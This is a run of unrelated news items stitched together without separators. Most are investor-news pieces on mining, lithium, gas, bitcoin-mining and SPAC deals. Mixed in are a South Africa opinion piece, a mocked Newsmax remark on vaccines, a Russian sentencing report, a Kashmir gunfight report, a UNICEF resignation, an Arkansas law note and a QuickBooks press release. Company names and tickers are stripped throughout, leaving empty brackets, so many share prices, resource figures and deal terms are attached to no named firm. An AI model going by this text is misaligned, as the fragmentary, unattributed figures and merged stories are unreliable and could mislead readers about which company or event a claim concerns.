Diversified Energy ( ) CEO Rusty Hutson talks to Proactive London about expanding their footprint in its new growth area with a deal to acquire assets in the states of Louisiana and Texas.

It is acquiring a package of 390 wells currently producing 14,000 barrels oil equivalent per day (boepd), of which 96% is natural gas, alongside co-investor Oaktree Capital Management.

Hutson explains how these various acquisitions complement each other and details the operating efficiencies and synergies. Diversified is focussed on natural gas which he says has an important role in the energy transition.

He says, 'my goal is to develop size and scale that puts us up in 2-3bln market range, with possible dual listing'.
Cornish Metals' Richard Williams joins Proactive ( )( ) for a catch up after releasing their first batch of results from its diamond drilling programme at the United Downs copper-tin project in Cornwall.

Williams takes viewers through the results which for the first time showed silver grades.

He says following the G7 summit in Cornwall they've had a number of visits from local councillors and MPs right up to senior staff in central government, 'highlighting the opportunity for Cornwall to contribute to the UK's objective for net zero'.
( ) Cathal Friel joins Proactive London with the news that it has won two new lines of business landing a 900,000 contract for clinical trial services through its Breda office in the Netherlands.

The contract is with an unnamed existing client which it describes as a 'world leader in vaccine and antiviral testing'.

Added to this the UK government is expanding a Coronavirus (COVID-19) characterisation study with the recruitment of a further 20 healthy volunteers to help in the fight against the virus.
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The private placement to sophisticated and wholesale investors aims to raise up to $1,998,503 before costs through the issue of up to 30,506,852 ordinary shares at $0.06551 per share.

We look forward to resuming our normal business operations to deliver on some of our exciting innovations, says CEO.

( ) proposes to undertake a private placement to sophisticated and wholesale investors aimed at raising almost $2 million before costs as it moves towards reinstatement of its shares on the ASX.

The company, which owns and operates a fractional investment platform, will issue up to 30,506,852 ordinary shares at a price of $0.06551 per share.

Subject to Cleansing Prospectus

This placement, which will be made using all of the 10% capacity available under ASX Listing Rule 7.1A, will be subject to a Cleansing Prospectus as the company has been suspended for more than five days.

DomaCom CEO Arthur Naoumidis said: We thank everyone for their patience during the period of suspension and we look forward to resuming our normal business operations to deliver on some of our exciting innovations.

The proposed issue date is July 30, 2021, which will be subsequent to the lodgement of a prospectus with ASIC.

DomaCom was initially suspended while it provided information to the ASX in response to a Query Letter issued on May 12, 2021, relating to the proposed AustAgri transaction announced on September 4, 2020. The response was released on June 18, 2021.

The company has been informed by the ASX that it is required to remain suspended until the completion of a capital raising to ensure that it has sufficient cash to continue operations and is in compliance with Listing Rule 12.2.

About DomaCom

DomaCom's fractional investment platform provides real solutions for SMSFs, retirees and new home buyers.

Using the DomaCom platform, investors can make fractional investments in a range of asset classes including property-related investments, mortgage-backed securities, renewables, affordable housing, disability accommodation and debt securities via a unique trust structure tailored to them.

Retirees can sell a fraction of their house to investors, possible family members, to help them improve their retirement income.

DomaCom runs a crowdfunding campaign process in which investors can commit as much as they want towards the purchase of assets together with other like-minded investors.

When a campaign is complete, DomaCom purchases the asset, places it in a sub-fund and issues the investors with units in proportion to the amount they invested.
Alta recently completed extensive diamond drilling and channel sampling at the Italian deposit, adding an additional 4.5 million tonnes in mineral resource to Gornos existing estimates.

Alta Zinc has significantly boosted the contained zinc resource at its Gorno deposit.

Alta Zinc Ltd (ASX:AZI) (FRA:8EE) has been as much as 25% higher in early trading on updating the mineral resource at its Gorno zinc-silver-lead deposit in northern Italy with the assets contained resources increased.

Overall, the projects total mineral resource tonnage is now 2.4 times greater than previous estimates, while the zinc grade is 40% higher than Altas 2017 mineral resource estimate.

The upgrade means the Gorno deposit now hosts 3.3 times more contained zinc metal than previously thought, of which 60% lies in the indicated category.

Investors have responded positively to the news with shares as much as 25% higher to A$0.10.

Ultimately, the updated resource will underpin future mining and metallurgical studies, fast-tracking a feasibility study and Gornos development as one of Europes premier zinc-lead-silver deposits.

A table outlining the updated mineral resource, reported with a 1% zinc cut-off grade.

More than three-fold increase in zinc

Alta Zinc managing director Gerraint Harris said: Alta shareholders have now been rewarded by this very positive mineral resource upgrade, based on results from the recent drilling programs in the new areas of Pian Bracca and Ponente.

The outcome is a more than three-fold increase in the amount of zinc metal and a more than 40% increase in the global metal grades contained in the mineral resource estimate for the Gorno deposit.

This is partly due to an increase in the thicker and higher-grade mineralisation, found in the Pian Bracca corridor and at Ponente.

We have been able to achieve this result with only 15 months of drilling by identifying outstanding drill targets, of which there still remains an abundance, close to or within the network of existing underground workings which offer cost-effective and efficient year-round drilling positions with zero environmental impact.

Updating mineral resource

As it set out to update Gornos mineral resource, Alta Zinc embarked on an extensive exploration campaign.

The explorer recently drilled 85 diamond core holes, totalling 6,231 metres, and 34 channel samples from underground workings over 15 months, adding an additional 4.5 million tonnes of mineral resources at a 1% zinc cut-off grade.

This equates to 721 tonnes per metre drilled and almost four times the tonnage yield of the 2017 mineral resource estimate, which was calculated at 188 tonnes per metre.

Alta chalks the improvement up to its deepened knowledge of the deposits geology, leading to effective target selection and efficient drilling from pre-existing underground development.

\

Whats next?

Promisingly, Gornos mineralisation remains open in all directions outside of the mineral resource estimate, with numerous step-out targets still to be drill tested from current underground development.

Alta intends to outline the large-scale potential of Gorno in a dedicated exploration target announcement in due course.

In the meantime, drilling remains ongoing, focusing on mineralisation outside of the updated mineral resource estimate (MRE). Results will be released to the market as assays become available.

Speaking to the exploration and mineral resource update, Harris continued: Our operational success is largely due to the strength and efforts of our Italian staff, and our Italian mining and drilling contractors (Edilmac SRL) who have tirelessly and professionally worked to make the Gorno deposit the success that our municipalities and the Lombardy region in Italy deserve.

We are currently drilling beyond the limits of our MRE into both step-out and new areas to continue to grow our resource base, notwithstanding that we now have a substantial resource inventory to support future feasibility studies.
The companys San Jose Lithium Project in Spain is ideally positioned to cornerstone Spains lithium-ion battery value chain with the countrys largest JORC-compliant lithium resource and commercially advanced integrated lithium chemicals project.

Infinity Lithium is focused on developing its 75%-owned San Jose Lithium Project in Spain

( ) ( ) has welcomed a 4.33 billion commitment in funding by the Spanish Government aimed at turning the country into a European electromobility hub, under the national strategic projects mechanism PERTE.

This announcement by Prime Minister Pedro Sanchez to kick start the production of electric vehicles and lithium-ion batteries will be achieved through an initiative funded predominantly by EU Next Generation recovery and resilience funding.

The government will stimulate private investment aligned to commitments for Strategic Projects for Economic Recovery and Transformation (PERTE), which will include the whole production chain from extracting lithium to assembling battery cells and manufacturing electric vehicles.

As investors saw the potential flow-on benefits for Infinity's San Jose Lithium Project, the company's shares soared by up to 40% to A$0.16, a new three-month high, on strong volume of more than 34.4 million.

Sanchez highlighted that as part of Spains transition to electric mobility, the automotive industry sector share of national GDP would increase by 50% to 15% of total GDP by 2030.

One of the biggest projects in Europe

He said: "It will be one of the biggest projects, not in Spain, but in Europe, in recent decades.

The government firmly believes in the capacity, the industrial potential of our country to face this challenge, which will affect the entire production chain from the extraction of raw materials such as lithium.

In short, the automotive industry is going to receive public support throughout the manufacturing process.

Sustainable transformation commitment

PERTE is part of a 13 billion commitment to the sustainable transformation to eMobility.

Spain is expected to receive 70 billion in grants from the 140 billion committed in grants and low-interest loans under the EUs 750 billion recovery and resilience packages.

Once the PERTE is published in the official state gazette Boletin Oficial del Estado (BOE), the different interested companies will be able to register the groupings to participate in it and, in September, to start the process of the calls to demand resources from the European Union.

Vertically integrated battery supply chain

In addition to PERTE, the Council of Ministers have approved funding of a further 40 million aligned to Spains sustainable automotive technology plan.

INFs San Jose Lithium Project in Spain is a fully integrated industrial project focused on the production of battery-grade lithium chemicals from a mica feedstock that represents the EUs second-largest JORC-compliant hard rock lithium deposit.

It has the potential to provide an essential component in the EUs development of a vertically integrated lithium-ion battery supply chain.

The availability of critical raw materials and the production of battery-grade lithium hydroxide in the EU is essential to ensure the long-term production of lithium-ion batteries for eMobility and the transition of the burgeoning automotive industry to electric vehicles.

Infinity Lithium has recently signed an MoU with global leading lithium-ion battery producer LG Energy Solutions for the potential long-term supply of battery-grade lithium hydroxide.

Both parties are working towards the completion of a binding offtake agreement within the next 12 months
The belle of the WA Goldfields has garnered strong attention, with 12 indicative debt financing proposals already received.

Twelve financiers have put their hands up to provide debt funding for the Bellevue Gold Project.

Bellevue Golds (ASX:BGL) search for debt funding is off to a strong start with multiple financiers throwing their hat into the ring to fund the high-grade, high-margin Bellevue Gold Project in WA.

So far, 12 financial suitors have submitted indicative debt financing proposals via debt advisor Orimco Pty Ltd, outlining ways they intend to fund the ASX-listers namesake gold play, with the response described by BGL as being "overwhelmingly strong".

Non-binding offers have ranged between $170 million and $289 million, while Bellevue already has $94 million in cash on hand.

Given the number of highly competitive offers, Bellevue has set out to short-list the financing contenders.

In the meantime, the company is working to finalise a stage two feasibility study, which should complete in the current quarter.

On track to join Aussie producers in 2022

Bellevue managing director Steve Parsons said the indicative offers were a testament to the projects technical and financial strengths.

The quality of the institutions which have lodged proposals and the highly attractive terms they contain reflects Bellevues outlook as a high-grade, high-margin project in a tier-one location.

Given these offers and our cash position of $94 million at the end of June 2021, we are on track to develop the project and join the ranks of Australian gold producers in 2022.

Orimco managing director Nick Harch said: "The expressions of interest received have exceeded our expectations.

The project has the advantage of being high-margin with strong growth prospects. These responses provide Bellevue with the opportunity to finalise an attractive debt package that is best suited to the company's needs.

Shortlisting the contenders

With multiple indicative offers in tow, Bellevue is determined to land on the financing deal that best fits its WA gold project.

The overwhelming support comes just weeks after financial services company and analyst Macquarie Research updated their advice on the mid-tier gold explorer.

Cannacord kept Bellevue at a Speculative Buy with a $1.25 price target, while Macquarie Research upgraded the stock to $1.30 after a round of drilling results in late June.

Today shares have been as much as 3.5% higher to $1.045 while BGL's market cap pre-open was approximately $867.4 million.

While it prepares to nominate a debt financing beau, Bellevue is considering whether it should expand its planned 750,000 tonnes per annum processing plant to 1 million tonnes.

This option is the basis of Bellevues upgraded stage two feasibility study, which is due to be completed this quarter.

Once this has been finalised, the company will devise a shortlist of preferred financiers and move to the second stage of the debt financing process, which is expected to involve site visits, the completion of legal and technical due diligence and facility documentation.

Of course, all offers received to date are indicative in nature and non-binding, with no guarantee any will lead to binding financing agreements on par with Bellevues standards.

Bellevue will keep the market informed as it progresses the next chapter of its feasibility study and develops a financier shortlist.
Arafura Resources derives its name from the Arafura Sea, the body of water which lies to Australias north between the Northern Territory and New Guinea. The company has a number of assets, including:

Arafura Resources steams ahead at Nolans rare earth project with FEED activities set to start

Arafura Resources Ltd (ASX:ARU) is steaming ahead with its Nolans Neodymium and Praseodymium (NdPr) Oxide Project in the Northern Territory with a planned $45 million fundraise to fund front end engineering and design (FEED) activities.

The company is targeting the commencement of FEED activities in the second half of 2021.

A final investment decision is expected by the second half of 2022, when the NdPr market is poised to enter a deficit, thanks to underinvestment in the rare earth oxides supply chain, while first production is targeted in late 2024.

The Nolans Project is set to be Australia's first vertically integrated source of separated rare earths oxides and the world's second-largest scale non-Chinese source of rare earths.

Arafura is targeting for its Nolans Project - a shovel-ready world-class NdPr project - to supply 5-10% of the global demand for NdPr oxide.

The company's single-site processing provides traceable product and waste management certainty, which is aligned with customers' environmental, social and governance (ESG) expectations.

NdPr is the key input for high-performance neodymium permanent magnets (NdFeB) and is central to many clean energy applications including EVs and wind turbines.
Across its operations, the company mined 231,235 tonnes in the first quarter of the tear ended March 31, 2022, which was down 9% compared to fiscal 1Q 2021

Silvercorp said in expects to produce between 6.3 million and 6.6 million ounces of silver, and between 65.7 million and 68.9 million pounds of lead, along with 26.9 and 28.5 million pounds of zinc for the year to March 31, 2022

( ) (NYSEAMERICAN:SVM) (FRA:S9Y), the China-focused miner, has told investors it expects to meet its annual production guidance for fiscal 2022, despite a decline in output for its fiscal first quarter to end-June this year.

Silvercorp said it expects to churn out between 6.3 million and 6.6 million ounces of silver, and between 65.7 million and 68.9 million pounds of lead, along with 26.9 and 28.5 million pounds of zinc for the year to March 31, 2022.

Across its operations, the company mined 231,235 tonnes in the first quarter of fiscal year 2022, which was down 9% compared to fiscal 1Q 2021. That amounted to around 1.5 million ounces of silver, 1,000 ounces of gold, 15.9 million pounds of lead, and 7.2 million pounds of zinc, down 16%, 9%, 21%, and 4%, respectively compared to the year earlier period.

In terms of sales, Silvercorp sold around 1.6 million ounces of silver, 1,000 ounces of gold, 16.8 million pounds of lead, and 7.3 million pounds of zinc, representing decreases of 12%, 9%, and 20%, respectively compared to fiscal 1Q, 2021, in silver, gold and lead, but an increase of 4% in zinc sold.

The company put the decline in output mainly down to mining contracts renewal negotiations at its flagship Ying project.

The two-year mining contracts with eight contractors expired on March 31, 2021, and the parties reached a temporary two-month extension but during negotiations, some contract workers took breaks or left due to the uncertainty, it said.

The contracts were renewed for an additional two-year term in mid-May, this year.

At the Ying project, which comprises a complex of six mines, ore mined was down 18% compared to the fiscal first quarter of 2021, but ore mined at the firm's GC mine was up 10% on the year earlier period.

Silvercorp describes itself as a profitable Canadian mining company, which produces silver, lead and zinc metals in concentrates from mines in China.

Also in the statement, the company said it expects to release its first quarter results on August 5 this year after market close.

Contact the author at giles@proactiveinvestors.com
CleanSpark and Coinmint are to collaborate on Bitcoin mining zero-carbon solutions and equipment deployment

CleanSpark CEO Zach Bradford noted that CleanSpark is excited by the opportunity to support Coinmint in achieving their goal of 100% carbon-free operations"

( ), a diversified software, services and bitcoin mining company, said it has struck an agreement with new partner Coinmint to potentially deploy nearly 25 megawatts (MW) of its highly efficient Bitmain S19 Pro miners at a location operated by Coinmint.

The Salt Lake City, Nevada-based company said it plans to deploy around 750 PH/s in hashrate capacity at Coinmint's facility in Massena, New York between July and September this year. To support this hashrate, Coinmint has agreed to provide 25 MW of power, provide operations support and commit to 98% uptime.

CleanSpark expects the agreement to rapidly increase its overall hashrate across all bitcoin mining locations to 1.2 EH/s upon installation and believes that it will allow it to maximize its bitcoin production, while maintaining all aspects of its environmental, social, and corporate governance (ESG) mining philosophy.

Coinmint operates the largest private digital currency data center in the world. The power is primarily derived from hydroelectric power, and, including all sources, achieves an energy mix that is 94% carbon-free. Coinmint is focused on all aspects of ESG in addition to operating a site powered primarily by renewable energy and focuses on providing jobs within its community. Additionally, CleanSpark and Coinmint intend to collaborate on further expansion of their green energy initiatives, with a goal of reaching 100% renewable power.

In a statement, Coinmint CFO Michael Maloney said: "Space and power for mining is in high demand, but we choose our partners carefully, we selected CleanSpark as a partner due to their alignment on ESG and sustainable mining practices. Coinmint is uniquely positioned in the market to offer sizable amounts of energy and superior operational excellent to cryptocurrency miners focused on green energy.

We also are looking into transforming the remaining 6% of non-renewable energy with onsite renewables and we believe CleanSpark is the right partner to help us achieve this goal. Coinmint looks forward to working with their energy professionals and proprietary energy solutions to expand our renewable energy infrastructure," he added.

Meanwhile, CleanSpark CEO Zach Bradford described the development as a very exciting opportunity for the company.

We are pleased to align ourselves with a company that has a similar ESG approach and a strong history of performance as a mining service provider. We anticipate that this agreement will enable us to expedite the time to reach 1.2 EH/s. All our recent shipments of mining rigs have arrived as agreed under our purchase agreements.

Over the course of the next three months, we plan to redirect our shipments to the Coinmint facilities to maximize the contracted 25 MW of clean power. Once we have reached full allocated capacity under the Coinmint agreement, we will then direct shipments of the new units to our Atlanta facilities," he said.

Bradford noted that the 30 MW energy expansion of its own facilities is progressing and will be finalized in the coming months to bring its Atlanta facilities to 50 MW of total capacity.

We intend to deploy miners to utilize the total available capacity in Atlanta with the units scheduled to arrive between September 2021 and January 2022. Upon installation, CleanSpark's total deployed hashrate is expected to exceed to 2.1 EH/s, the CleanSpark boss added.

Due to the rapid exodus of Chinese miners, an industry-wide shift has taken place, and we believe that this is the perfect time to align with a partner to secure additional capacity to create flexibility and sustainability in our overall operations. This partnership is expected to provide us additional flexibility over time with a like-minded partner to continue the growth of our mining operations, he said.

Bradford noted that CleanSpark is excited by the opportunity to support Coinmint in achieving their goal of 100% carbon-free operations," an objective shared across all its own business units.

Since the acquisition of ATL Data Centers, CleanSpark has exceeded 470 PH/s in hashrate capacity, mined more than 410 bitcoins, and is currently mining an average of more than four bitcoins per day.

CleanSpark is in the business of providing advanced software, controls and technology solutions to solve modern energy challenges. It has a suite of software solutions that provides end-to-end microgrid energy modeling and energy management solutions. The company also owns a fleet of bitcoin miners at its facility outside of Atlanta, Georgia.

Contact the author Uttara Choudhury at uttara@proactiveinvestors.com

Follow her on Twitter: @UttaraProactive
Cyril Ramaphosa has urged that there be no talk of coalitions in the coming elections

A President arrested, and riots.

No, not the USA, but South Africa, which has been convulsed by unrest and looting ever since former President Jacob Zuma, a Zulu, was arrested on corruption charges on 7 July.

Zuma has long been the subject of speculation around various of his business dealings and unorthodox public pronouncements, but he has also retained a strong core of support amongst ethnic Zulus and other allies in the ruling African National Congress.

These allies argue, with at least some justification, that the charges against Zuma are politically motivated, and the way the former President was apparently tricked into custody with the connivance of his own state-appointed bodyguard has only fueled the rage.

So, the rioting in KwaZulu-Natal and in Johannesburg, the destruction of commercial property and the apparent inability of public services to keep order has left major question marks hanging over the rainbow nation.

Is this an uprising about Zuma alone, or is it more? Is this in fact an uprising against whats effectively been a one-party state for a couple of generations?

The last time a party other than the ANC was in power was before the end of the apartheid regime, thats to say in 1994, nearly 30 years ago. This grip on the levers of government doesnt quite rival that of Zimbabwes Zanu PF, in power for over 40 years, but there are some parallels.

Municipal elections are coming in South Africa, and there plenty who are linking the current spate of violence to their possible outcome.

Supporters of the ANC will argue that during the years between Nelson Mandelas election and now elections have been broadly free and broadly fair, and that they bear no parallel to the democratic travesties held in President Mugabes Zimbabwe.

To date, the point has been unarguable. But some are arguing that thats now changing.

And whether this issue about Zuma proves to be a turning point or not, its nevertheless true that supporters of any party other than the ANC have very few places to turn.

Corruption, though corporate entities fear to mention it, is an issue. And its not because its endemic in and of itself. Its because the governing party has become embedded in the state. One of the principle benefits of a party system is that ministers change when their party loses power, and so no single person and no one culture gets embedded into the fabric of state.

As a famous, now eminently cancellable politician once said, democracy is the least worst solution.

But if the same party stays in power without interruption, practices can become sloppy, lines of accountability become blurred, and the state can come to be seen as a cash cow for a privileged elite. In this respect, the ANC isnt too dissimilar from the Washington elites derided by President Trump in his clarion call to electors to drain the swamp.

Its hard to argue that South Africa needs its own version of Trump. Indeed, its hard to argue that any of the one or two beneficial things that Trump did outweigh in any way the negative effects of the chaos that he left behind him. And given that the US has its own forms of election violence, its not as if this is even a uniquely South African or African issue.

But South Africa does need something, or someone.

It was instructive to see old footage of President Ramaphosa resurfacing this week, in which he responded to criticism that he was weak by arguing that his mission is to keep the ANC united.

Meme-makers were quick to point out that in making this statement he was putting party before country. It may have been unfair, it may have been taken out of context, but theres no question that South Africas fissures and divisions have become much more apparent in this latest eruption of political and mob violence, and looting.
The work also tested the Kawich anomaly, which is believed to be the potential source of the mineral system at Reveille

VRs CEO Dr Michael Gunning said the company was pleased to have the Phase I and II programs at Reveille completed this early in 2021 and was now eyeing further drill plans for the property

( ) ( ) (FRA:5VR) has said the second phase first-pass reverse circulation (RC) drill program at its Reveille silver-copper and gold property in Nevada has been completed, with four holes sunk for 1,552 metres (m) in less than two weeks.

The work also tested the Kawich anomaly that was delineated in an expanded geophysical survey completed in May and which is believed to be the potential source of the mineral system at Reveille.

VRs CEO Dr Michael Gunning said the company was pleased to have the Phase I and II programs at Reveille completed this early in 2021 and was now eyeing further drill plans for the property.

"We tested the new IP anomaly at Kawich in the second two holes of the program. Both holes achieved depths of around 450m, and both intersected over 150 m intervals of sulfide, starting at 120 m depth, which was the modeled depth-to-top of the IP anomaly," Dr Gunning said.

Gunning noted that the key finding from this drill program was the intersection and confirmation of sulfide at both the IP anomalies tested.

"We do not anticipate the geochemical data from sampling until the end of the summer, but there is much work to do in the meantime integrating the drill logs, the structural data from down-hole televiewer technology, and the alteration mineral data from hyperspectral scanning utilized on this program," he added.

"We look forward to providing further updates as we receive geochemical data through the summer and formulate plans for further drilling which we now anticipate for Reveille based on our initial observations from this drilling," the CEO concluded.

The Reveille project lies around 90 kilometres east of Tonopah and consists of 93 mineral claims in one contiguous block covering 1,586 acres (642 hectares).

Contact the author at giles@proactiveinvestors.com
The report, prepared by Ganfeng Lithium, indicated 6,854,000 tonnes of lithium carbonate equivalent in the Measured and Indicated Resource categories, an increase of 55% over the 2019 estimate

ILC cautioned that the report was not prepared for public NI43-101 reporting standards, and therefore the company is unable to disclose it fully

( ) ( ) ( ), which holds a 1.8% net smelter return royalty on the Mariana Lithium Brine Project in Argentina, says Corp (ILC) has released an apparent upbeat resource estimate for the project.

According to TNR, ILC has received a 300-page report from its strategic partner Ganfeng Lithium Co Ltd (GFL) that contains an updated mineral resource estimate for the project.

TNR said the report states:

6,854,000 tonnes of lithium carbonate (Li2CO3) equivalent (LCE) in the Measured and Indicated Resource categories, an increase of 55% over the 2019 estimate of 4,410,000 tonnes.

An additional 1,267,000 tonnes of Li2CO3 in the Inferred Resource category.

TNR said these amounts are also now stated as 7,863,000 tonnes of lithium chloride equivalent in the Measured and Indicated Resource categories, and an additional 1,454,000 tonnes of lithium chloride equivalent in the Inferred Resource category.

ILC cautioned that the report was not prepared for public NI43-101 reporting standards, and therefore the company is unable to disclose it fully.

However, ILC said Ganfeng Lithium and the Salta regional government in Argentina have both issued public news releases citing the report, thus compelling ILC to release some key details in the interests of investor transparency and to avoid selective disclosure.

TNR said that Ganfeng reported that an Environmental Impact Report approval has been received from the Salta regional government for the construction of a plant with a designed annualized capacity of 20,000 tonnes per annum of lithium chloride.

And the Salta regional government disclosed in its news release following its discussions with Ganfeng that the likely project expenditure from now to bring the Mariana Project to full production is around US$600 million.

"I am very pleased to see this 55% increase in measured and indicated resources after the previously announced in 2020 increase of more than 250% in measured and indicated resources from the 2017 resource estimate at Mariana Lithium Project, said Kirill Klip, executive chairman of TNR, in a statement.

"We are very pleased to see that this new plan represents a 100% increase of previously planned lithium annual production rate presented in the Mariana Project preliminary economic assessment ("PEA"), announced in our news release of January 28, 2019. It was the first PEA on the project that provided a potential value for the total NSR Royalty from Mariana's life of mine cashflow, which has now been very significantly increased."

Klip commented further: "We welcome the news from the Salta regional government disclosed in a news release following its discussions with Ganfeng that the likely project expenditure from now to bring the Mariana Project to full production is around US$600 million."

He added: "TNR Gold does not have to contribute any capital for the development of Mariana and our NSR Royalty does not depend on the size of ILC's potentially diluted ownership in the Mariana Project. The 1.8% Mariana NSR Royalty is a very important part of TNR Gold's portfolio. The essence of our business model is to have industry leaders like Ganfeng Lithium as operators on the projects that will potentially generate royalty cashflows to contribute significant value for our shareholders."

TNR said it does not have to contribute any capital for the development of Mariana and its NSR does not depend on the size of ILC's potentially diluted ownership in the Mariana Project.

Contact the author: patrick@proactiveinvestors.com

Follow him on Twitter @PatrickMGraham
Maria Cecilia consists of claims that cover 7,110 hectares that Camino believes has geological similarities to one of Perus largest copper mines

Camino acquired all of the shares of Minera Maria Cecilia from Stellar under a share purchase agreement among Camino, Stellar, and Minera Maria Cecilia dated March 30, 2021

( ) (OTCPINK:CAMZF) announced it has closed the $4.6 million deal to acquire the Maria Cecilia porphyry and skarn complex in Peru.

The transaction was with Denham Capital affiliate Stellar Investment Holdings LLC and British Virgin Islands company Minera Maria Cecilia Ltd, which controlled the mineral rights and titles covering the project.

Maria Cecilia consists of claims that cover 7,110 hectares that Camino believes has geological similarities to one of Perus largest copper mines, Antamina, located 100 kilometres away.

Camino CEO Jay Chmelauskas told investors that the company plans to start drilling at its Los Chapitos project in August, followed by a program at Maria Cecilia.

"Our plans to drill the significant porphyry system identified at Maria Cecilia in Peru, provides Camino with another copper discovery opportunity in 2021 to add to our copper asset portfolio, Chmelauskas said in a statement.

Denham Capital director Justin Manchin will join Caminos board of directors following the transaction.

"With the Maria Cecilia transaction now closed, and Camino having completed its recent $7.5 million financing, the company is well positioned for its next phase of growth, Manchin said. I am looking forward to working closely with Jay and the rest of the Camino Board of Directors to build a leading junior mining company."

Term sheet

As per the term sheet, Camino acquired all of the shares of Minera Maria Cecilia from Stellar under a share purchase agreement among Camino, Stellar, and Minera Maria Cecilia dated March 30, 2021. As consideration for the shares of Minera Maria Cecilia, Camino issued 23,193,098 shares in the company to Stellar at a price of $0.20 each for an aggregate purchase price of approximately $4,638,620.

Concurrent with the closing, Camino closed a subscription by Stellar for 2,941,176 units of Camino at a price of $0.17 per unit for aggregate gross proceeds of approximately $500,000. Each unit consists of one share and one-half of a non-transferable warrant, with each whole warrant entitling Stellar to purchase an additional share at a price of $0.25 until July 13, 2023.

Additionally, Camino and Stellar inked an investor rights agreement under which Stellar may not transfer any shares in Camino until July 13, 2022 without the companys approval. Stellar has the right to participate in any future offering provided it owns at least a 10% stake in the company.

Camino also granted Stellar a contingent payment right requiring Camino to pay Stellar an additional $0.02 per pound for each additional pound of copper equivalent mineral resources uncovered beyond the amount included in the current NI 43-101 technical report on Maria Cecilia.

Contact Angela at angela@proactiveinvestors.com

Follow her on Twitter @AHarmantas
Greenrose Acquisition Corp ( ) President Paul "Otto" Wimer outlines to Proactive the Special Acquisition Purpose Company's (SPAC) plans to acquire four separate cannabis companies within the US.

Wimer says its strategy includes acquiring groups with strong management teams and those that are focused on being 'cultivation forward.' It has targeted companies based in both limited license markets as well as established, recreational markets.
"I'm not an anti-vaxxer. I'm not a pro-vaxxer. I'm somebody that's looking at this thing and trying to figure it outI feel like a vaccination in a weird way is just generally kind of going against natureLike, I mean, if there is some disease out there -- maybe there's just an ebb and flow to life where something's supposed to wipe out a certain amount of people, and that's just kind of the way evolution goes. Vaccines kind of stand in the way of that. Do you follow what I'm saying? Does that make sense to somebody in medicine?"

Newsmax host Rob Schmitt

NO.

Everyone in medicine
Killer gets 9.5 years behind bars for attempted murder of lawyer

 RIA Novosti, Mikhail Mordasov

15:22 14/07/2021

MOSCOW, July 14 (RAPSI)  A man was sentenced by a court in Russias Kemerovo region to 9.5 years in a colony for trying to kill a lawyer, the press service of the Russian Prosecutor General's Office told RAPSI.

The attack took place in November 2019, when the man fired at the lawyer twice. However, the second shot failed because a cartridge jammed in the pistol the killer used.

The defendant was arrested at the scene, the lawyer received timely medical assistance, thanks to this he survived, the bodys statement reads.

For committing the said crime, the convict was paid $10,000 by the organizer of the crime; he also was given a fake passport, firearms and cartridges for it.

The criminal case against the organizer of the crime has been sent to the court for consideration on the merits, the Prosecutor General's Office said in the statement.
A Place for All Conservatives to Speak Their Mind.
Bharatiya Kisan Union (BKU) leader Rakesh Tikait announced on Wednesday that farmers will be taking their protest to Parliament once the monsoon session starts on July 19.

200 people will go there (towards Parliament) by bus. We'll pay the fare. We'll sit outside Parliament while proceedings will continue in the House.

It'll be a peaceful protest. Today we'll have a meeting and we'll plan a strategy, Tikait told news agency ANI.
Three terrorists belonging to proscribed outfit Lashkar-e-Taiba (LeT) were eliminated in an overnight joint operation by the police, army and CRPF in South Kashmir's Pulwama district, officials said on Wednesday.

One of the three terrorists has been identified as a Pakistani, and the other two are locals.

The army said in the eight hour-long operation, Aijaz alias Abu Huraira, a Pakistani terrorist and two other terrorists identified as Javed Rather of Tahab, Pulwama and Shahnawaz Gani of Srinagar belonging to LeT were eliminated by the security forces.

The Army said after receiving specific intelligence input from the police about the presence of terrorists in the built up area of New Colony in Pulwama, an operation was launched by troops of Panzgom, the Pulwama-based Rashtriya Rifles Battalion, J&K Police and the CRPF at 11.55 p.m. on Tuesday.

"As the troops were laying cordon at 1.20 a.m. on Wednesday, the terrorists opened fire on the troops and tried to escape taking advantage of darkness. Alert troops immediately returned fire and trapped the fleeing terrorists in a house."

"A call for surrender was given, but the terrorists continued firing indiscriminately and a gunfight ensued."

Two AK-47 rifles, one pistol and other warlike stores were recovered from the encounter site.

As per the police, these notorious terrorists were involved in many anti-national activities and were involved in recruiting terrorists in South Kashmir.

"Neutralization of the three terrorists will go a long way in bringing peace in Pulwama district and alleviate the civilians of their sufferings and hardships at the hands of these notorious terrorists," the army said.
Henrietta Fore, executive director of UN Children's Fund (Unicef), has informed the UN secretary-general of her intention to resign, "to devote herself to a family health issue," the United Nations announced on Tuesday.

Through a statement attributable to his spokesperson, UN Secretary-General Antonio Guterres has expressed his full understanding of Fore's decision and "has accepted it, with deep regret", Xinhua news agency reported.

"He extends his thanks and his best wishes to Executive Director Fore and her family. The secretary-general wishes to express his sincere appreciation to Ms. Fore for her inspiring leadership of UNICEF and for her service to improve the lives of children all around the world. In particular, he noted Unicef's critical role in the global response to Covid-19 and in reimagining education," said the statement.

"As a result of her leadership, Unicef is now an organization with a broader array of public and private sector partnerships and a bolder focus on achieving the Sustainable Development Goals. She has also contributed enormously to efforts to build a UN system with a much stronger focus on inclusion and organizational culture. The secretary-general thanks Fore for her outstanding work to address the extraordinary challenges facing children and young people around the world," the statement added.

Fore took up the position of Unicef executive director on January 1, 2018 and will remain in her post until her successor is appointed, according to the statement.
Arkansas enacted the Save Adolescents from Experimentation (SAFE) Act in April to prohibit gender transition procedures for minors. Such procedures include the use of puberty-blockers, cross-sex hormones and surgery. The law is being challenged in the case Brandt v. Rutledge.
Kington, UK -- (SBWIRE) -- 07/14/2021 -- Businesses knows no boundaries but tax laws do.



When a business has QuickBooks files in a version of QuickBooks that is incompatible with the software in another division, functionality would be an issue, such as Canadian and UK versions of QuickBooks that are configured to use VAT and the US version configured to use sales tax. These unique features make it impossible for the US version of QuickBooks to read a file from the Canadian version.



The Canadian version of QuickBooks would not have the same functionality as the version meant for small business owners in the USA. Some differences include the Canadian and UK versions of QuickBooks that are configured to use VAT. This feature is referred to as sales tax for the US version. Other differences include QuickBooks USA that offers a series of advanced reporting add-ons that are not available to QuickBooks Canada users.



QuickBooks USA and QuickBooks Canada currently share four pricing plans: Simple Start, Essentials, Plus, and Self-Employed. QuickBooks USA, however, does offer one more tier above Plus, called Advanced, that offers a few more additional features.



Crossing over editions does not necessarily have to be a problem as third party professionals have now made it easy to convert data files from one International version to another.



Certain limitations to this service include payroll transactions that cannot be transferred from one file to another, while payroll checks will only be transferred as regular checks with full line item details.



Usernames are also not transferred from the secondary files to the primary file and users would need to be re-created after the merge.



For more information, visit https://quickbooksrecovery.co.uk/quickbooks-data-conversions/canada-to-uk-conversion/



About E-Tech

